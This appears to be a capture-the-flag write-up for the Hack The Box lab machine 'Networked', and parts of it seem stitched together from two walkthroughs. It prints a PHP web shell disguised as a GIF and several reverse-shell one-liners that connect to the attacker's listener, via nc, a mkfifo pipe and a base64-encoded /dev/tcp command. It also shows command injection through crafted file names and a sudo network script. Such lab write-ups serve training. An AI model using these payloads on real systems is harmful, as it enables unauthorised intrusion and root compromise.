HTB – Networked

Today we are going to solve another CTF challenge “Networked” which is available online for those who want to increase their skill in penetration testing and black box testing.

Level: Medium

Task: find user.txt and root.txt file on victim’s machine

Let’s start with a nmap scan

root@kali:~/htb/networked# nmap -sC -sV 10.10.10.146
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-19 12:59 EST
Nmap scan report for 10.10.10.146
Host is up (0.024s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
| 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp closed https

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.12 seconds

Looks like we have only the http service to explore. Here’s what it looks like.

┌─[puck@parrot-lt]─[~/htb/networked]
└──╼ $curl http://10.10.10.146 | html2text 
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:--100 229 100 229 0 0 1198 0 --:--:-- --:--:-- --:--:-- 1198
Hello mate, we're building the new FaceMash! Help by funding us and be the new
Tyler&Cameron! Join us at the pool party this Sat to get a glimpse
┌─[puck@parrot-lt]─[~/htb/networked]

 

I’ve no idea what it means. Well, moving on to the next step.

Directory/File Enumeration

Let’s kick things off with wfuzz and SecLists.

# wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt --hc '403,404' http://10.10.10.146/FUZZ
********************************************************
* Wfuzz 2.2.1 - The Web Fuzzer                           *
********************************************************

Target: HTTP://10.10.10.146/FUZZ
Total requests: 4594

==================================================================
ID      Response   Lines      Word         Chars          Request    
==================================================================

00702:  C=301      7 L        20 W          235 Ch        "backup"
02095:  C=200      8 L        40 W          229 Ch        "index.php"
04196:  C=301      7 L        20 W          236 Ch        "uploads"

Total time: 93.26074
Processed Requests: 4594
Filtered Requests: 4591
Requests/sec.: 49.25974

The directory /backup sure looks interesting.

Let’s download it and see what’s inside.

Looks like the backup of the PHP files present in the site. If the acutal upload.php is identical to that of the backup, then there’s a vulnerability with the upload form.

upload.php
// $name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];
list ($foo,$ext) = getnameUpload($myFile["name"]);
$validext = array('.jpg', '.png', '.gif', '.jpeg');
$valid = false;
foreach ($validext as $vext) {
  if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
    $valid = true;
  }
}
lib.php
function getnameUpload($filename) {
  $pieces = explode('.',$filename);
  $name= array_shift($pieces);
  $name = str_replace('_','.',$name);
  $ext = implode('.',$pieces);
  return array($name,$ext);
}

As long as the extension ends with one of extensions, we should be able to upload a PHP file with double extension, e.g. cmd.php.gif. Here’s what cmd.php.gif looks like.

cmd.php.gif
GIF89a
<pre><?php echo shell_exec($_GET[0]); ?></pre>

Let’s give it a shot.

# curl -F "myFile=@cmd.php.gif;type=image/gif" -F "submit=go" http://10.10.10.146/upload.php
<p>file uploaded, refresh gallery</p>

Awesome. It got uploaded., And we got remote code execution!

Now let’s copy that image and inject some php code into the new image:

root@kali:~/Desktop/HTB/boxes/networked# cp original.png ./test.png
root@kali:~/Desktop/HTB/boxes/networked# echo '<?php' >> test.png
root@kali:~/Desktop/HTB/boxes/networked# echo 'passthru("whoami");' >> test.png
root@kali:~/Desktop/HTB/boxes/networked# echo '?>' >> test.png
root@kali:~/Desktop/HTB/boxes/networked# mv test.png test.php.png
root@kali:~/Desktop/HTB/boxes/networked# 

I injected <?php passthru("whoami"); ?> which should execute whoami, let’s test it:

next a shell

┌─[puck@parrot-lt]─[~/htb/networked]
└──╼ $echo '<?php' >> ./shell.php.png
┌─[puck@parrot-lt]─[~/htb/networked]
└──╼ $echo 'passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 9001 >/tmp/f");' >> ./shell.php.png
┌─[puck@parrot-lt]─[~/htb/networked]
└──╼ $echo '?>' >> ./shell.php.png 
┌─[puck@parrot-lt]─[~/htb/networked]

.

┌─[puck@parrot-lt]─[~/htb/networked]
└──╼ $nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.146] 58996
sh: no job control in this shell
sh-4.2$ script /dev/null -c bash
script /dev/null -c bash
bash-4.2$ id
uid=48(apache) gid=48(apache) groups=48(apache)
bash-4.2$

.

We can’t read the flag as apache, but there are some other interesting readable stuff, crontab.guly shows that /home/guly/check_attack.php gets executed as guly every 3 minutes:

bash-4.2$ cat crontab.guly
*/3 * * * * php /home/guly/check_attack.php
bash-4.2$

check_attack.php:

bash-4.2$ cat check_attack.php
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
        $msg='';
  if ($value == 'index.html') {
        continue;
  }
  #echo "-------------\n";

  #print "check: $value\n";
  list ($name,$ext) = getnameCheck($value);
  $check = check_ip($name,$value);

  if (!($check[0])) {
    echo "attack!\n";
    # todo: attach file
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

    exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");
  }
}

?>
bash-4.2$

This script checks for files that aren’t supposed to be in the uploads directory and deletes them, the interesting part is how it deletes the files, it appends the file name to the rm command without any filtering which makes it vulnerable to command injection:

exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

$path is the path of the uploads directory:

$path = '/var/www/html/uploads/';

And $value is the suspicious file’s name.
We can simply go to /var/www/html/uploads and create a file that holds the payload in its name. The name will start with a semicolon ; (to inject the new command) then the reverse shell command.

bash-4.2$ cd /var/www/html/uploads
bash-4.2$ touch '; nc 10.10.xx.xx 1338 -c bash'
bash-4.2$

After some time I got a shell as guly:

root@kali:~/Desktop/HTB/boxes/networked# nc -lvnp 1338
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1338
Ncat: Listening on 0.0.0.0:1338
Ncat: Connection from 10.10.10.146.
Ncat: Connection from 10.10.10.146:60812.
whoami
guly
python -c "import pty;pty.spawn('/bin/bash')"
[guly@networked ~]$ ^Z
[1]+  Stopped                 nc -lvnp 1338
root@kali:~/Desktop/HTB/boxes/networked# stty raw -echo 
root@kali:~/Desktop/HTB/boxes/networked# nc -lvnp 1338

[guly@networked ~]$ export TERM=screen
[guly@networked ~]$ id
uid=1000(guly) gid=1000(guly) groups=1000(guly)

.

 

 

Privilege Escalation

During enumeration of guly’s home directory, I noticed two interesting files, crontab.guly and check_attack.php.

crontab.guly
*/3 * * * * php /home/guly/check_attack.php
check_attack.php
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
        $msg='';
  if ($value == 'index.html') {
        continue;
  }
  #echo "-------------\n";

  #print "check: $value\n";
  list ($name,$ext) = getnameCheck($value);
  $check = check_ip($name,$value);

  if (!($check[0])) {
    echo "attack!\n";
    # todo: attach file
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

    exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");
  }
}

?>

If the files were to be believed, then a cron job will check and report to guly with mail($to, $msg, $msg, $headers, "-F$value"); at every three minutes, for files in /var/www/html/uploads that doesn’t begin with an IP address. This is easy to exploit. We can simply touch a file with a file name that begins with ; to separate sendmail from the command that we want to execute.

$ touch ';nc 10.10.14.2 9002 -c bash'

or

┌─[✗]─[puck@parrot-lt]─[~/htb/networked]
└──╼ $echo -n 'bash -c "bash -i >/dev/tcp/10.10.14.2/4444 0>&1"' | base64
YmFzaCAtYyAiYmFzaCAtaSA+L2Rldi90Y3AvMTAuMTAuMTQuMi80NDQ0IDA+JjEi
┌─[puck@parrot-lt]─[~/htb/networked]

and then from box

/var/www/html/uploads
bash-4.2$ touch -- ';echo YmFzaCAtYyAiYmFzaCAtaSA+L2Rldi90Y3AvMTAuMTAuMTQuMi80NDQ0IDA+JjEi | base64 -d | bash'
<mFzaCAtYyAiYmFzaCAtaSA+L2Rldi90Y3AvMTAuMTAuMTQuMi80 <ldi90Y3AvMTAuMTAuMTQuMi80NDQ0IDA+JjEi | base64 -d | bash'
bash-4.2$

Three minutes later, a reverse shell as guly appears in my nc listener.

 

Let’s upgrade our shell to full TTY.

The file user.txt is at guly’s home directory.

┌─[✗]─[puck@parrot-lt]─[/opt/Certipy]
└──╼ $nc -nlvp 9002
listening on [any] 9002 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.146] 46074
id
uid=1000(guly) gid=1000(guly) groups=1000(guly)
python -c "import pty;pty.spawn('/bin/bash')"
[guly@networked ~]$ ls
ls
check_attack.php crontab.guly user.txt
[guly@networked ~]$

Getting root.txt

During enumeration of guly‘s account, I notice guly is able to run the following command as root without password.

[guly@networked ~]$ sudo -l
sudo -l
Matching Defaults entries for guly on networked:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User guly may run the following commands on networked:
(root) NOPASSWD: /usr/local/sbin/changename.sh
[guly@networked ~]$

Check out the code in the script.

#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
        echo "interface $var:"
        read x
        while [[ ! $x =~ $regexp ]]; do
                echo "wrong input, try again"
                echo "interface $var:"
                read x
        done
        echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done

/sbin/ifup guly0

Firstly, all the network scripts are written in bash. Furthermore, the single space character is allowed in the regular expression. Space is recognized as one of internal field separators (or IFS), which in this case really plays to our advantage, as you shall see.

We’re only interested in the NAME option because according to this page we can inject commands in the interface name. Let’s try to execute bash:

[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
sudo /usr/local/sbin/changename.sh
interface NAME:
test bash
test bash
interface PROXY_METHOD:
test
test
interface BROWSER_ONLY:
test
test
interface BOOTPROTO:
test
test
[root@networked network-scripts]# id
id
uid=0(root) gid=0(root) groups=0(root)
[root@networked network-scripts]#

.

 

Posted on

Leave a Reply

Your email address will not be published. Required fields are marked *